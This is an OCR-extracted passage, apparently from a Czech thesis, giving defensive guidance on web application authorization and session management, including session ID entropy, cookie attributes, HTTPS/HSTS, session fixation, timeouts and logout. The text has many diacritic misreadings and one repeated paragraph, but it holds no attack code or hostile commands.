bezpecnostnich prvkl jednotlivych platforem .NET / Java / PHP. Vzdy je lepsi
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napsat bezpecnostni politiku pro fizeni pfistupu nebo zabezpeceni ptistupu ke kodu
jednotlivych platforem programové nebo pomoci kolekce opravnéni.
- Kontrola pfistupu k datiim — pouzitim ulozenych procedur se zamezi mozné zméné

nastaveni prav databazovym uzivatelskym uctim.

1.2.3 Centralizace autorizaénich rutin

Dobfte napsané centralizované piistupové kontrolni rutiny umoziuji, zejména pii zjisténi
jakychkoliv programéatorskych chyb, provést pouze jednu opravu, ktera se ihned projevi
vV celém rozsahu aplikace. Na rozdil od bohuzel bézné pouzivanych technik vkladani
fragmentl kodu pro kontrolu ptistupu do kazdé ¢asti aplikace, ¢imz se pii zjiSténi ptipadné
chyby proces opravy nejen prodlouzi, ale také miize znamenat dal$i prostor pro vytvoreni
jinych chyb. Toto mize vznikat vyjmutim a naslednym vkladanim ¢asti kodu, anebo hife

pfepisovanim kazdé ¢asti kodu, ve kterém byla chyba objevena.

1.2.4 Matice autorizaci

Rizeni autorizace aplikace kontroluje, zda uZivatel, ktery piistupuje k webové aplikaci a
zada ji o povoleni k prohlizeni ur¢ité webové stranky, tuto prohlizet mize ¢i nikoliv. Dale
muze provést opatieni pfed vykondnim pozadované akce nebo zobrazenim stranky. Pokud
se tyto kontroly nebudou provadét, umozni se tim uzivatelim vstupovat i na stranky,

ke kterym nemaji mit na zaklad¢ svého nastaveného opravnéni pfistup.

1.2.5 Rizeni pFistupu k chranénym zdrojiim

Rizeni piistupu k chranénym zdrojim kontroluje opravnénost uZivatele k provedeni
jakékoliv akce v kazdé jeho fazi ptistupu. Pro jeho spravu je dulezité provést spravnou
kategorizaci obsahu, a to i v pfipadé vice logickych urovni, které jsou zastoupeny

napftiklad prostiedky dynamickych SQL dotazi.

1.2.6 Chranény pristup ke statickym zdrojim

V nékterych aplikacich je nastaveno generovani statického obsahu dokumentd, napiiklad
typu pdf. Obsah tohoto typu dokumentu miZze pochazet z obecného generovani
jednotlivych ¢lankt néjakého blogovaciho systému, z uzaviené transakce nebo jiz
vytvofené faktury za zboZi objednané napiiklad v internetovém obchodé. Takovyto
dokument mtiZze obsahovat divérna data podléhajici ochrané osobnich tidaji. Pokud tato

data nebudou podl¢€hat kontrole opravnénosti piistupu, mize hrozit jejich zneuziti a to jen
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diky nezabezpecenému pristupu k takto vytvofenym dokumentiim. K provedeni takovéhoto
typu utoku tak mize stacit pouze odhadnout, ¢i z jiz diive legalné vytvoieného dokumentu,
urcit nazev jiného libovolného dokumentu. Pro ochranu pfistupu ke statickym zdrojim je
dilezité:

- Pokud to je mozné tak rad&ji vytvaret citlivé obsahy dokumentt za chodu aplikace
a zobrazovat je pouze pfimo v prohlizeci, nez je ukladat v souborovém systému
webového serveru.

- Pokud vznikne potfeba ochranit staticky citlivy obsah, tak je nutné implementovat
autorizacni kontrolu k zabranéni anonymnich pfistupti.

- Pokud uz preci jen bude nutné ukladat vygenerované dokumenty na disk serveru,
tak je dualezité pouzivat jako nazvy souborti ndhodné generované posloupnosti
povolenych znakt a pravidelné mazat docasné soubory.

- A nakonec zvolit bezpecné&jsi ulozisté pro tyto soubory s dokumenty nez kdekoliv
ve webove piistupnych cestach. Nejlépe mimo webové adresate, kde ptistup
k t¢émto souborim bude provadén pomoci obsluznych rutin, které budou fadné
provadét autorizaci, logovani a ostatni bezpecnostni funkce. K implementaci této

obsluzné¢ rutiny na platformé ASP.Net Ize pouzit tfeba metodu

HTTPRespose.WriteFile().

1.2.7 Povolovani vlastnich autorizaénich rizeni

Vétsina z hlavnich bé&hovych prostiedi ma velmi dobfe vytvofeny autorizacni
mechanismus. Napiiklad béhové prosttedi .NET ma autentizacni a autorizacni
funkcionality nakonfigurovany v souboru web.config nebo Java pouziva sluzbu JAAS
(Java Authentification and Authorization Service). Obé& sluzby se shodné zabyvaji

poskytovanim povoleni a bezpecnostni kontrolou téchto povoleni.

BohuZel spousta vyvojait stale pouziva sva vlastni feSeni, kdy jejich aplikace obsahuji
vlastni programové kody pro autorizaci uzivatele nebo entity. Tato feSeni s sebou piinasi
kromé& vétsi implementacni sloZitosti aplikace také potenciondlni prostor pro daleko vetsi
chybovost. Proto neexistuje-li vazny divod pro pouzivani vlastnich kodd, je mnohem lepsi
pouzivat integrovanych funkcionalit jednotlivych béhovych prostredi, které poskytuji
mnohem vyssi kvalitu a osvédcené alternativy. Pro tvorbu vlastnich autorizac¢nich fizeni je

dalezité zejména:
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- Zabyvat se krom¢ autentizaCnich otazek i problematikou zpracovani vyjimek.
Zejména zajistit, aby v pfipad¢, ze bude vyjimka vyvoldna, doslo k odhlaSeni
piihlaSené¢ho uzivatele, anebo mu asponl zabranit v pfistupu k chranénym
prostiedklim nebo funkcim.

- Je tfeba se yjistit, Ze vSechny pfistupy jsou ve vychozim nastaveni 100% pokryty.

1.2.8 Nikdy nevytvaiet autorizatni tokeny' na strané klienta

Mnoho webovych vyvojaii se neustidle vyhyba pouzivani uloZenych relaci na strané
serveru. Misto toho se stile spoléhaji na mechanismy, které jsou nabizeny na strané
klienta, jako jsou soubory cookie, skrytd formulafova pole a dalsi. Je také casto zavadéjici,
pokud jsou tyto mechanismy pouzivany pro fizeni piistupu a skryté funkcionality. Protoze
vSechny informace, které jsou témito mechanismy ptredavany z klienta, nejsou chranény
pfed moznymi manipulacemi, pokud nejsou fadné zajiSt€ény pomoci kryptografickych

technik.

Pokud je aplikace presvédcena, ze uzivatel byl regulémé ovéten, tak vytvoii spojeni
identifikatoru relace uzivatele s autentizacnim tokenem nebo stavem. Naptiklad pokud je

uzivatel jednou pifihlasen, tak token s irovni autorizace se nastavi do relace objektu.

NET (C#)

_____________________________________________

[ |
! !
| Session[“AUTHLEVELY] = USER; !
i !

1

Dulezité je nevéfit Zadné autentizaci na strané klienta nebo autorizaénim tokenim
Vv hlavickéch, souborech cookie, skrytych formuléfovych polich nebo URL argumentech
pokud nejsou kryptograficky zabezpeCeny prostfednictvim elektronického podpisu,

digitalniho certifikatu nebo pomoci Sifrovani.

1 P . v ’owx ¥ v v Lo r o
Autoriza¢ni token - ndhodné vygenerovany fetézec (napft. dostateCné velké nahodné Cislo).
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1.3 Sprava relaci

Pro kazdou webovou aplikaci je stézejni komunikace mezi klientem a serverem, ktera
probiha v ramci protokolu HTTP. Tento protokol je sam o sob& bezstavovy, coz znamena,
ze pouze komunikuje stylem pozadavek - odpovéd a tedy postrada jakoukoliv spojitost
mezi pozadavky konkrétniho klienta. Z tohoto divodu vznikla na aplikacni urovni
funkcionalita relace (oficialni anglicky nadzev je session, ale v této praci bude pouzit Cesky
nazev relace), kterd tuto mezeru vypliluje a umozituje webovému serveru uchovavat si,
formou kratkého textového souboru, samostatné informace o vSech uzivatelich, ktefi

k nému pfistupuji.

Cilem spravy relaci je dle [1] zajistit autentizovanym uzivateliim, pomoci relaci, robustni a
kryptograficky bezpecné spojeni, prosazovat autorizac¢ni kontrolu a zabranit béznym typim
webovych tutokt jako jsou request forgery (faleSné zadosti), man-in-the-middle (muz

uprostied), replay (piehrani) relace a dalsi.

Vétsina dnesnich webovych serveri, které jsou rozsifeny o aplikacni béhova prostiedi jako
jsou ASP.NET, J2EE, PHP a dal$i, poskytuji spravu stavii pro jednotlivé pozadavky
uzivatelli vazané do relaci spolecné s kryptograficky generovanou jedine¢nou ndhodnou
hodnotou uloZenou v cookie. CoZz je rozhodujicim faktorem bezpecnosti webovych
aplikaci pro schopnost omezeni a udrzovani uZivatelskych akci v ramci jedine¢nych relaci.
Naptiklad ASP.NET pouzivé pro zmateni faleSnou odolnosti mechanismus view state (stav
zobrazeni), poskytujici na kazdé strance skrytd pole, kterd mohou byt pouZita pro pienos
necitlivych proménnych, jako mista pro kontrolu webu a dalsi. Do view state 1ze pomoci
programovych prostfedkl zaclenit nebo z n¢j vyloucit proménné, u kterych nebude potieba
kontrola stavu, kterd by jinak musela byt k dispozici mezi rliznymi strankami stejné
aplikace. Stejn¢ tak je dilezité pro pienos citlivych dat pomoci view state pouzit smérem
k uzivatelovi Sifrovani, pokud tedy neni mozné ponechat tyto proménné ulozené v objektu
relace na strané serveru. Rozdil mezi dobfe optimalizovanou aplikaci a Spatné provedenou

aplikaci spociva v kvalité spravy mechanismu view state.

Idedlnim postupem je pouZzivat robustni a dobfe znamé spravce relaci, neZ dokola néco
prepisovat. Nejpouzivanéj$i a nejznaméjsi béhova prosttedi pro webové aplikace jiz
standardné obsahuji vhodnou implementaci, ktera tak jako kazda jina technologie mulze
obsahovat rGzné nedostatky. Proto je i u nich potfeba neustidle sledovat vydani

nejnovejSich verzi, a pokud budou k dispozici tyto vzdy co nejdiive implementovat.
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1.3.1 Vlastnosti identifikatoru relace

V z4jmu zachovani stavu autentizace a sledovani postupli uzivateli ve webové aplikaci, se
témto uzivateliim poskytuje identifikator relace (session ID nebo token), ktery se uzivateli
prifadi v dobé vytvoieni relace a je sdilen a vyménovan mezi klientem a serverem po dobu
trvani relace (posila se v kazdém HTTP pozadavku). Identifikator relace je dvojice

,,nazev=hodnota“.

Pro tvorbu bezpecnych identifikatori relace musi generator identifikatori spliiovat

nasledujici vlastnosti:
Jednoznacny nazev identifikdatoru relace

Pouzity nazev identifikatoru relace by nemél byt popisny a nemél by ani nabizet
nepotiebné detaily o smyslu a ucelu identifikace. Ve vychozim stavu jsou nazvy
jednotlivych identifikdtorti relaci nejbéznéjSich béhovych prosttedi slozeny z nazvi
technologie pouzitého prostiedi, ptipadn¢ programovaciho jazyku pouzivané webovou
aplikaci, tedy na ASP.NET SessionID (ASP.NET), JSESSIONID (J2EE),
PHPSESSIONID (PHP) atd. Z téchto divoda je velmi vhodné zménit vychozi nazev
identifikatoru relace ve vykonném aplika¢nim b&hovém prostfedi na druhové oznaceni

pouZzivajici pouze oznaceni ,,id*.
Délka identifikatoru relace
Identifikator relace musi byt dostatecné dlouhy na to, aby se mohlo zabranit pfipadnému

titoku hrubou silou. Utoénik totiz miize projit celou fadu identifikaénich hodnot a postupné

ovetovat existence platnych relaci.
Entropie? identifikdtoru relace

Identifikator relace musi byt nepfedvidatelny, aby ho nebylo jednoduché uhodnout nebo
predpovedét z platné relace pomoci analytickych nebo statistickych metod. Pro tento ucel
je velmi vhodné pouzivat pseudondhodny c¢iselny generator. Hodnota identifikéatoru relace

musi poskytnout alesponl 64 bitli entropie.

2 Entropie - mira neur¢itosti nebo také pravdépodobnost moznych stavii dané relace.
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Obsah identifikatoru relace

Identifikator relace musi obsahovat pouze takova data, u kterych by uto¢nik v ptipadé
uspeésného utoku nebyl schopen vyuzit dekddovany obsah. Nesmi obsahovat citliva data
jako napftiklad udaje uzivatele, relace nebo informace o vnitini struktuie webové aplikace,
ale pritom musi byt jednoduse a jednozna¢n¢ identifikovan na strané klienta. Identifikator
relace musi obsahovat pouze takova data, u kterych by utocnik v ptipad€ uspésného utoku,
nebyl schopen dekddovat jeho skute¢ny obsah. Nesmi obsahovat citliva data jako napiiklad
udaje uzivatele, relace nebo informace o vnitini strukture webové aplikace, ale pfitom musi
byt jednoduse identifikovan na strané klienta. Business nebo aplika¢ni logika spojena
s identifikatorem relace musi byt uloZena na strané¢ serveru, zejména v objektech relaci
nebo ve spravé databdze relaci. Ulozené informace mohou obsahovat IP adresu uZzivatele,
uzivatelské jméno, e-mail, Groven opradvnéni, piistupova prava, ID uctu, posledni
prihlaseni, aktualni stav, relaci Casového limitu, jazykové predvolby a dalsi detaily vnitini
relace. Pokud objekty relaci obsahuji citliva data, jako jsou tieba Cisla kreditnich karet, je
nutné je fadné Sifrovat a spravce ulozist’ relaci chréanit. Identifikatory relace, které musi byt
kryptograficky silné, je nutné vytvaret prostfednictvim kryptografickych hasovacich funkci
jako je SHA-1 nebo 1épe SHA-2.

1.3.2 Implementace spravy relaci

Implementace spravy relaci je definovana vyménnym mechanismem, ktery se pouziva
pro sdileni a pribéznou vymeénu identifikatoru relace mezi uzivatelem a webovou aplikaci.
Pro udrzeni stavu relace existuje nékolik zplisobt. Cookies (standardni HTTP hlavicky),
URL parametry (pfepisovani URL — RFC 2396), URL argumenty na GET poZadavky,
argumenty na POST poZzadavky skrytych poli formuldte HTML dokumentu nebo
proprietarni HTTP hlavicky

Preferovany zplisob vymény identifikdtoru relace by mél umoziovat definovani
pokrocilych vlastnosti tokenu, jako je naptiklad token vyprSeni data a Casu nebo pouziti
¢astecnych omezeni. To je jeden z divodu proc€ jsou cookies jednim z nejvice pouzivanych
a preferovanych metod pro prenos relaci. Nabizi pokrocilé funkce, které se v jinych

metodach nenachazi.

Pouziti jinych metod pro pfenos identifikatoru relace je z hlediska bezpecnosti pomérné

problematické. Naptiklad predavanim identifikdtoru pomoci parametru URL adresy muze
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dojit k jeho =zvefejnéni formou internetovych odkazl, protokolt, ve vysledcich

vyhledéavacich nastrojti nebo v zalozkach webového prohlizece a tim i zneuziti.
Vestavéna implementace spravy relaci

Béhova prostredi pro vyvoj webovych aplikaci, jako jsou ASP.NET, J2EE, PHP a dalsi,
poskytuji sva vlastni feSeni pro spravu relaci a souvisejicich implementaci. Z hlediska
kvality feSeni je mnohem lepsi pouzivat praveé tyto vestavéné mechanismy jednotlivych
behovych prostiedi, nez budovat potiebné funkcionality pro spravu relaci a souvisejicich
implementaci uplné od zacatku. Z hlediska bezpecnosti webovych aplikaci jsou tyto
metody také mnohem vice a Castéji testovany s razantnéjSimi reakcemi na piipadné
objevené zranitelnosti. A to nejen diky pouzivani téchto prostiedi po celém svété na vice

webovych prostiedi, ale také v priibéhu ¢asu rozvojem velké vyvojarské komunity.

Je potfeba mit na paméti, Ze 1 tato jednotlivd velmi kvalitni béhova prostiedi trpéla
v minulosti zranitelnostmi a slabinami. Takze je doporuceno vzdy pouzivat nejnovéjsi
verze, které jsou V dany cas K dispozici. Kazda z novégjSich verzi vétSinou fesi vSechny
znamé potenciondlni zranitelnosti. Stejné jako prezkouma a zmeéni vychozi nastaveni
pro zvyseni bezpecnosti, a to 1 na zédklad¢ ¢astecné popsanych postupli uvedenych v této
praci.

PouZivané / akceptované metody vymény identifikdtoru relace

Ve vychozim nastaveni webovych aplikaci je ptenos identifikdtoru relace provadén
predev§im pomoci cookies. Nicméné pokud bude identifikator relace posilan jinou
metodou, napt. parametrem URL adresy, tak by i v takovém piipadé ji webova aplikace
méla umét pfijmout. Proto nejvhodnéjSim feSenim tohoto problému je, pokud bude umét
pouzivat obé metody a také ptechéazet z jedné do druhé, naptiklad automatickym piepisem
URL. Samoziejmé za splnéni urcitych podminek jako napfiklad existence webovych
Klientd bez podpory ukladani do cookies nebo pokud uzivatel, z obav o své soukromi,

cookies ve svém webovém prohlizeci zakaze.

Z toho duvodu je pro pienos identifikatoru relace rozhodujici rozliSovat mezi metodou
pouzivanou webovou aplikaci a metodou akceptovanou webovou aplikaci zpracovavajici a

spravujici identifikator relace.
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Bezpecnost transportni vrstvy

V rédmci zabezpeceni proti aktivnimu odposlechu a pasivni moznosti odhaleni pfi pfenosu
identifikatoru relace v sitovém provozu je nutné pouzivat Sifrovany protokol HTTPS (SSL
/ TLS) po celou dobu relace mezi uzivatelem a serverem. A to nejen pii prvnim spojeni
se zadosti o vygenerovani identifiktoru relace, ale i ndsledném procesu autentizace a
autorizace. Navic atribut cookie musi byt také nastaven na ,,Secure®, aby se zarucil pfenos
identifikator relace skrz zabezpecCeny kanal. Pouziti Sifrovaného komunika¢niho kanalu
také nemalou mérou pomaha chranit pienos relaci proti nékterym typim tutokt, kde by
jinak byl uto¢nik schopen zachytit identifikator relace a jeho manipulaci ovliviiovat chod
webové aplikace. Nasledujici doporucené postupy nastaveni HTTPS protokolu (SSL /

TLS) jsou zaméfeny na ochranu identifikatoru relace (obzvlast’ pti pouZziti metody cookie):

- Webova aplikace by nikdy v pribchu relace neméla prechézet z protokolu HTTP
na HTTPS a obracené. ProtoZe by to mohlo odhalit identifikator relace v ramci
prenosu po siti.

- Stejn¢ tak, by webova aplikace neméla stfidat pouzivani Sifrovaného a
nesifrovaného obsahu (HTML stranky, JavaScript soubory, CSS a dalsi) nejen
na stejném hostovacim misté, ale uz vibec ne v ramci jedné domény. Protoze
Kk prozrazeni identifikatoru relace muze dojit prostfednictvim zadosti jakéhokoliv
webového objektu pies neSifrovany kanal.

- Obecné¢ by webové aplikace nemély vefejnosti nabizet neSifrovany obsah a
soukromy Sifrovany obsah ze stejného hostovaciho mista. Pokud uz vznikne tato
potieba, tak je vhodné pouzit pro tento ucel dvé rizna mista, napiiklad www.utb.cz
pies HTTP pro obsah ptistupny komukoliv a tajne.utb.cz pfes HTTPS pro Sifrovany
soukromy obsah, pfistupny jen opravnénym uZivatelim. Ptedchozi hostitel
poskytuje své sluzby na otevieném TCP portu 80, zatimco druhy na TCP portu 443.

- Vyvarovat se pouzivani obycejného presmérovani na domovskou stranku z HTTP
na HTTPS (pomoci HTTP odpovédi 30x), nebot’ je to jediné nechranéné misto
HTTP protokolu pro vyménu pozadavek/odpovéd’, které by utocnik mohl vyuzit
k ziskani platného identifikatoru relace.

- K vynuceni HTTPS pfipojeni by mély webové aplikace vyuzivat HSTS protokolu
(HTTP Strict Transport Security — RFC 6797).
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1.3.3 Cookies

Mechanismus vymény identifikatoru relace zalozeny na cookies poskytuje vice
bezpecnostnich funkci v podobé atributi cookie, nez které mohou byt pouzity

k zabezpeceni vymény identifikatoru relace.
Atribut Bezpecnost

Atribut ,,Bezpecnost (RFC 2109) instruuje webovy prohlize¢, ze k odeslani cookie ma
pouzivat pouze Sifrované pfipojeni pomoci protokolu HTTPS. Tato metoda ochrany
identifikatoru relace je povinna pro zabranéni mozného jednoduchého odchyceni

identifikatoru relace skrze tatok typu MitM (Man-in-the-Middle).

Nutit webové aplikace pouze k pouzivani HTTPS protokolu pro jakoukoliv komunikaci,

bez toho aniz by nebyl nastaven atribut cookie na ,,Bezpecnost®, je neopodstatnéné.
Atribut HttpOnly

Atribut ,,HttpOnly* instruuje webovy prohlize¢, aby zabranil schopnostem skripti
ptistupovat ke cookies pres DOM objekt document.cookie. Tato metoda ochrany
identifikatoru relace je povinna pro moznost zabranéni kradezim pomoci ttokiim typu XSS

(Cross Site Scripting).
Atributy Doména a Cesta

Atribut ,,Doména“ instruuje webovy prohlize¢, aby odeslal cookie pouze pro danou
doménu a jeji vSechny subdomény. Pokud tento atribut nebude nastaven, tak vychozim

nastavenim bude soubor cookie posilan na piivodni server.

Atribut ,,Cesta” instruuje webovy prohlize¢, aby odesilal cookie pouze do webovou
aplikaci zadan¢ho adresare nebo podadresaie. Ve vychozim nastaveni bude soubor cookie
odesilan pouze do adresaie (nebo cesty) nastavené¢ho zdroje cookie. Oba dva atributy by
mély byt nastaveny jen pro velmi omezeny prostor. Dale se doporucuje nemichat webové
aplikace s rozdilnou urovni bezpec¢nosti. Chyba zabezpeceni jedné aplikace by mohla
umoznit Gto¢nikovi nastavit identifikator relace pro jinou webovou aplikaci na stejné
doméné pomoci tolerantniho atributu ,,Doména“. Coz je technika utoku, kterd muze byt

pouzita k fixaci relace.

Piestoze atribut ,,Cesta” umoznuje izolaci identifikatoru relace pouzivat rozdilné cest
1 p y

mezi rozdilnymi webovymi aplikacemi na jednom hostitelském misté, je vysoce
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doporuceno nespoustét rozdilné webové aplikace na jednom a tom samém hostujicim
miste.

Cookies jsou nachylné k DNS utokiim typu spoofing (falSovani), hijacking (inos) a
poisoning (otrava), kde muze uto¢nik manipulovat s rozliSenim DNS k vynucenému

sd¢leni identifikatoru relace webovym prohlize¢em pro danou doménu nebo hostitele.
Atributy Vyprsi a Max-Doba

Mechanismus spravy relace zalozené na cookies se déli na dva typy, na neperzistentni
cookie a perzistentni, neboli trvalé cookie. Pokud budou mit cookies nastaveny atributy
na ,,Max-Doba‘“ nebo na ,,Vyprsi“, tak se budou povazovat za perzistentni, neboli trvalé
soubory cookie, které budou pomoci webového prohlize¢e ulozeny na disku do doby
nastaveného vyprSeni. Nastaveni cookie na neperzistentni je typické pro sledovani
uzivatele po provedeni autentizace. Timto zplisobem nastaveny atribut pfinuti relaci, aby
Vv piipad¢ uzavieni instance webového prohlizece, doslo k jejimu ukonceni a odstranéni

souboru cookie z paméti, coz zmensuje uto¢nikovi Sance na jeho ziskani.

1.3.4 Zivotni cyklus identifikatoru relace
Generovani a verifikace identifikdtoru relace: tolerantni a piisnd sprdava relace

Existuji dvé metody spravy relaci pro webové aplikace souvisejici se zranitelnosti fixace
relace, a to tolerantni a ptisnd. Tolerantni metoda umoZzni webové aplikaci, aby nejprve
piijala jakoukoliv hodnotu identifikatoru relace nastavenou uZivatelem jako platnou a pak
pro ni vytvofila novou relaci. Pfisnd metoda si naopak nejdiive od webové aplikace vynuti

akceptaci hodnoty identifikatoru relace, kterou pfedtim webova aplikace vygenerovala.

V soucasné dobé je nejCastéjsi pouziti praveé piisné metody, jelikoz je mnohem Iépe
zabezpeCena, nez metoda tolerantni. A proto musi vyvojafi zajistit, aby se ve webové
aplikaci, za urcitych okolnosti, tato tolerantni metoda nepouzivala. Stejné€ tak by webova
aplikace neméla povolit identifikator relace, ktery nebyl nikdy pfedtim vygenerovany.
Takovy scénat by mél byt rozhodné vyhodnocen jako mozné bezpecnostni riziko, resp.

jako podezfela aktivita, ktera by méla vygenerovat a odeslat nebo zobrazit upozornéni.
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Sprava identifikatoru relace jako jakykoliv jiny uZivatelsky vstup

Identifikéator relace musi byt povazovéan za nedivéryhodny, jako jakykoliv jiny uZzivatelsky
vstup zpracovavany webovou aplikaci. A to do doby nez projde dikladnym procesem
validace® a verifikace*. V zavislosti na pouZité metod& spravy relace, bude identifikéator
relace obdrzen v GET nebo POST parametru, v hlavicce HTTP nebo v URL adrese. Pokud
webova aplikace pred zpracovanim neovéfi a neodfiltruje neplatné hodnoty identifikatoru
relace, tak muze dojit k tomu, Ze budou pouzity k utokiim jako SQL injection, pokud jsou
identifikatory relace ulozeny v relacni databdzi, nebo perzistentni XSS, pokud jsou

identifikatory relace ulozeny a poté zpétné vraceny webovou aplikaci.
Vyména identifikatoru relace po zméné urovné opravnéni

Po kazdé zméné urovné opravnéni pfipojené relace uzivatele musi dojit bud’ k jejimu
obnoveni, nebo k opétovnému vygenerovani nové relace. Nejbéznéjsi scénat, kdy opetovné
vygenerovani nového identifikatoru relace je povinné, je béhem procesu ovéfovani.
Uroven opravnéni v ramci zmény uZivatele od neautentizovaného (i anonymniho) stavu
do stavu autentizovaného. Dal§imi moznymi scénafi mize byt zména hesla, zména urovné
opravnéni, ptfechod z Grovné uzivatele na tirovent administratora v rdmci webové aplikace a
dalsi. Dulezité ptitom je, ze vSechny relace piedchazejici novym musi byt bud’ ignorovany,
zapomenuty nebo nejlépe znieny. Mezi nejpouzivangsi funkce a metody pro obnovu
relaci patii u béhového prosttedi pro vyvoj aplikaci ASP.NET ,,Session.Abandon() a
Response.Cookies.Add(new ...).

Dodate¢nym doporu¢enim je pouzivat jiné oznaCeni (nazev) identifikatoru relace pro
anonymni nebo neautentizované uzivatele a jiné pro autentizované uzivatele, tak aby
webova aplikace mohla sledovat a rozliSovat pravé anonymni uZivatele od ovéfenych

bez rizika odhaleni.

1.3.5 Expirace relace

S cilem minimalizovat casové obdobi, ve kterém miize ptipadny utocnik spustit utoky pies
aktivni relace a provést jejich unos (utok typu hijacking), je nutné stanovit vyprSeni

casovych limitl, a to pro kazdou relaci. Riziko odhaleni relace jinymi typy utokl

® Validace — ovéfeni platnosti relace
* Verifikace - ov&feni, ze odpovida specifikaci relace
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se zvySuje, pokud takové nastaveni bude nedostatecné a ptipadnému utocnikovi se tim
umozni opétovné pouziti stdle platného identifikatoru relace k provedeni unosu

souvisejicich a dosud aktivnich relaci.

Hodnota vyprSeni ¢asového limitu relace musi byt nastavena shodné s povahou a ucelem
webové aplikace. S jejim vyvazenim z hlediska bezpecnosti a pouzitelnosti tak, aby byl
uzivatel schopen pohodIné dokoncit pozadovanou operaci a pfitom nebyl v pribéhu prace

nekolikrat odpojen z diivodu vyprseni Casového limitu relace.

Pti vyprSeni platnosti relace, musi webova aplikace pfijmout opatieni ke zruSeni relace jak
na stran¢ uzivatele, tak i na strané serveru. Coz se ostatné tyka i ptipadu, kdy uzivatel

ukon¢i praci ve webové aplikaci odhlasenim nebo uzavienim webového prohlizece.
Automatické vyprSeni relace

Casovy limit nedinnosti — vSechny relace by mély mit zavedenou funkcionalitu detekce
nec¢innosti nebo neaktivity uzivatele. Timto ¢asovym limitem se definuje doba, po kterou
by méla zlstat relace aktivni, pro piipad, kdy uzivatel nevykazuje zadnou cinnost.
Po vyprseni této doby musi dojit k uzavieni a zruSeni platnosti relace. Sprava ¢asovych
limitd relaci a jejich ukonCovani musi byt provadéno na strané serveru. Je to z toho
divodu, Ze pokud by tato moznost existovala na stran€ uzivatele, tak ptipadny ttoc¢nik by
mohl, po ziskani aktivni relace, provadét umélé prodluzovani trvani této relace. V piipadé
serverové Casti bude spravou relaci sledovan pocet minut od Casu piihlaSeni uzivatele a
dalsi parametry, kterymi je mozné snizit mozné riziko zneuziti utoénikem ziskané aktivni

relace.

Absolutni ¢asovy limit — vSechny relace by mély mit zavedenou funkcionalitu absolutniho
casového limitu, bez ohledu na ¢innost relace. Tato ¢asova prodleva urcuje maximalni
dobu, po kterou miiZze byt relace aktivni. Po vyprSeni této doby musi dojit k uzavieni a
zruSeni platnosti relace. V pfipadé, ze uzivatel chce pokracovat v praci ve webové aplikaci,
bude nucen provést opétovnou autentizaci a tim vytvofit i novou relaci. Absolutni ¢asovy
limit omezuje mnozstvi ¢asu, ve kterém muze ptipadny utocnik pouzit ukradenou relaci a

vydavat se za obét’.
Manudlni vyprseni realce

Webova aplikace by méla poskytovat funkcionalitu, kterou by bylo mozné umoznit

uzivatelim uzavfit svoji relaci, jakmile ukon¢i pouzivani dané webové aplikace.
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Tlacitko ,,Odhlasit“ — webova aplikace musi poskytovat viditelnou a snadno pfistupnou
moznost odhlaseni se z aplikace formou tlacitka, které by mélo byt k dispozici na hlavni
strance v zahlavi nebo v menu aplikace. K tomuto tlaCitku je dtlezité se dostat
Z libovolného mista webové aplikace, takze uzivatel miize ukoncit aplikaci a tim uzavfit

relaci kdykoliv.
Mezipamét’ webového obsahu

I po uzavieni relace je mozné ziskat pfistup k soukromym nebo citlivym informacim
vyménovanych v ramci relace prostiednictvim mezipaméti webového prohlize¢e. Z tohoto
divodu musi mit kazdd webova aplikace nastaveny omezujici smérnice pro veskery
webovy provoz uskute¢iiovany pomoci protokold HTTP a HTTPS, naptiklad uvedenim
direktiv ,,Cache-Control: no-cache, no-store” a ,,Pragma: no-cache“ v hlavickach HTTP

protokolu nebo v META tagach webovych stranek.
Dalsi obrana spravy relace na strané uZivatele

Ochrana na stran¢ uzivatele se obvykle nachazi ve form¢ kontrol a verifikace JavaScriptu.
Nejsou sice nepriistielné a mohou byt snadno prekonany zkuSenymi Uto¢niky, ale mohou
pfidat dalsi vrstvu zabezpeceni, kterou pfipadni Gito¢nici musi obejit.

Pocatecni ¢asovy limit pro pirihlaSeni

Pro pfiihlasovaci stranku mize webova aplikace vyuzit JavaScriptového kédu, kterym bude
meéfit mnozstvi Casu, ktery uplynul od nacteni stranky a udéleni identifikatoru relace
po provedeni usp&Sného pokusu o piihlaSeni. Pokud piekroci stanovenou maximalni dobu
pro Uspé$né piihlaSeni, mize obdrzet upozornéni, Ze maximalni mnozstvi ¢asu nastavené
pro piihlaSeni se k webové aplikaci prekrocil a pro opétovné piihldSeni se musi vratit

na piihlaSovaci stranku, kde mu bude piidélen novy identifikatoru relace.

Tento zvlastni ochranny mechanismus zkousi vynutit obnoveni identifikatoru relace
opctovnou autentizaci, aby se vyhnul situaci, kdy je tento identifikator relace jiz pouzivan

a mohl by byt znovu pouzit klientem na tom samém pocitaci.
Ukonceni relace jako reakce na uzavieni okna webového prohlizece

Webové aplikace mohou pouzivat JavaScriptovy koéd pro zachyceni udalosti uzavieni
webového prohlizece a pfijmout vhodna opatieni. Napiiklad zrusenim aktudlni relace pred
uzavienim webového prohlizece nebo simulaci uZivatelem rucniho zavieni relace pfes

tlac¢itko odhlaseni.
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Zakaz otevieni stejné relace v druhém panelu webového prohliZece

Webové aplikace mohou pouzivat JavaScriptovy koéd, pro opétovny pozadavek zadéani
piihlaSovacich udaji k aplikaci v ptipad¢€, Ze uzivatel bude chtit oteviit tu samou aplikaci,
ke které je jiz piihlaSen a za timto u¢elem mu byla vytvofena relace, jesté jednou v nové
zalozce nebo novém okné. Webova aplikace muze pozadovat spuSténi pouze jedné
instance a v ptipad¢ pokusu o vytvoreni druhé instance mezi nimi nepovolit sdileni stejné

relace.

Tento mechanismus nemize byt ovSem pouzit, pokud vyména relace probiha pomoci
cookies, protoze jako cookies jsou relace sdileny se vS§emi webovymi prohlizeci s jejich

okny a kartami (zalozkami). MiZe byt ale pouzit prostiednictvim URL argument.
Automatické odhldSeni uZivatele

Pomoci JavaScript kodu muize byt tato funkcionalita pouZzita k posileni funkce ¢asového
limitu ne€innosti na stran¢ serveru, kde je relace ukoncena po uréité dobé uzivatelovi
necinnosti. Vyhoda této funkcionality mize spocivat napiiklad v tom, ze uzivatelovi bude
ozndmeno ukonceni relace po ur¢itém casovém uUseku zobrazenim odpocitavani ¢asu. Dany
uzivatelsky piivetivy pfistup pomaha k zabranéni ztraty rozdélané prace, vyZzadujici
rozsahla vstupni data. Nicméné€ néstupem technologie HTMLS5 a aplika¢niho rozhrani
,localStorage* jiz bude mozno pomoci JavaScriptu vyuzit pfistupu spoluprace webové
aplikace s diskem pocitace uzivatele, kdy stejné€ jako desktopové aplikace, budou vyuzivat
funkcionality docasného ukladani dat na disk pocitace, a tedy jiz nebude dochdzet ke ztraté
dat webovou aplikaci a serverem nastaveném vyprSeni Casového limitu s naslednym

